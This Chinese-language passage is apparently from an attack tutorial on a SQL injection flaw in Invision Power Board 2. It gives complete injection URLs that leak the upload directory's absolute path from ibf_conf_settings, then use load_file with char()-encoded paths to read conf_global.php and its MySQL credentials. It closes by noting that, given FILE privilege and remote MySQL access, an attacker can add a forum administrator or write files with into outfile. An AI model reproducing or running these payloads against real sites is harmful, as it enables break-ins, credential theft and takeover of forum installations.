IPB2注入漏洞的深入利用
不过,默认应该是这样可以了的,但是如果管理员把conf_id改变的话,可能就不是59了。这时我们直接提交:
|
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_key=char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)%20/* |
因为conf_key为upload_dir的相对应的conf_value就是上传目录的绝对路径,但是因为是字符串,我们不能用单引号,只能转换为10进制或者16进制,char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)就等于“upload_dir”,所以也会返回绝对路径。
有了绝对路径能做什么呢?知道可以允许写的目录在哪了。知道MYSQL连接文件在哪了,还等什么?读文件吧。假设上面的,我们的目录是“h:/www/ipb2/”,那么连接文件就是“h:/www/ipb2/conf_global.php”,转换为10进制或者16进制,提交:
|
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, load_file(char(104, 58, 47, 119, 119, 119, 47, 105, 112, 98, 50, 47, 99, 111, 110, 102, 95, 103, 108, 111, 98, 97, 108, 46, 112, 104, 112)), 12, 13, 14, 15, 16, 17, 18, 19, 1%20/* |
文件就出来了:
|
[quote=5,Jan 1 1970, 08:00 AM] ?> |
注意注意!刚才说了,不是通杀的,有两个条件:
- 要读出文件,连接MYSQL的这个用户,一定要拥有FILE的权限。这个是最根本的。
- 条件1具备以后,要更进一步操作,MYSQL必须允许远程连接,这样insert一个后台管理员,还是into outfile都随便你了。
本文完全是技巧和思路的文章,没有多大技术含量,都是老技术了,如果你不了解IPB2,也不知道在数据库里放有绝对路径吧?